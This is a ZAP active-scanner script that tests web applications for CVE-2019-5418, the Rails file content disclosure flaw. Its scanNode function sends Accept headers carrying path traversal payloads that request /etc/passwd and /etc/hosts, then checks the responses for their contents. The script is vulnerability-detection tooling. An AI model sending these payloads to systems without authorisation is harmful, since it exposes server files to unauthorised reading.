// This active scanner script checks for CVE-2019-5418

var ScanRuleMetadata = Java.type(
  "org.zaproxy.addon.commonlib.scanrules.ScanRuleMetadata"
);
var CommonAlertTag = Java.type("org.zaproxy.addon.commonlib.CommonAlertTag");

function getMetadata() {
  return ScanRuleMetadata.fromYaml(`
id: 100029
name: "File Content Disclosure (CVE-2019-5418)"
description: >
  The application seems to be subject to CVE-2019-5418.
  By sending a specially crafted request it was possible to have the target return
  data from the server file system.
solution: >
  Upgrade to a version of Ruby/Rails where this issue is fixed. (See references for further details).
references:
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5418
  - https://github.com/mpgn/CVE-2019-5418
category: injection
risk: high
confidence: medium
cweId: 74  # CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
wascId: 33  # WASC-33: Path Traversal
alertTags:
  ${CommonAlertTag.OWASP_2021_A03_INJECTION.getTag()}: ${CommonAlertTag.OWASP_2021_A03_INJECTION.getValue()}
  ${CommonAlertTag.OWASP_2017_A01_INJECTION.getTag()}: ${CommonAlertTag.OWASP_2017_A01_INJECTION.getValue()}
  ${CommonAlertTag.WSTG_V42_ATHZ_01_DIR_TRAVERSAL.getTag()}: ${CommonAlertTag.WSTG_V42_ATHZ_01_DIR_TRAVERSAL.getValue()}
status: alpha
codeLink: https://github.com/zaproxy/community-scripts/blob/main/active/cve-2019-5418.js
helpLink: https://www.zaproxy.org/docs/desktop/addons/community-scripts/
`);
}

function scanNode(as, msg) {
  var msg2 = msg.cloneRequest();
  msg2
    .getRequestHeader()
    .setHeader("Accept", "../../../../../../../../etc/passwd{{");

  as.sendAndReceive(msg2, false, true);

  var re = /root:.:0:0/g;
  var body = msg2.getResponseBody().toString();

  if (re.test(body)) {
    as.newAlert().setEvidence(body.match(re)[0]).setMessage(msg2).raise();
    return; // No need to try further
  }
  // Just in case there's a simple WaF
  var msg3 = msg.cloneRequest();
  msg3
    .getRequestHeader()
    .setHeader("Accept", "../../../../../../../../../../../../../etc/hosts{{");

  as.sendAndReceive(msg3, false, true);

  re = /127.0.0.1/g;
  body = msg3.getResponseBody().toString();
  if (re.test(body)) {
    as.newAlert().setEvidence(body.match(re)[0]).setMessage(msg3).raise();
  }
}
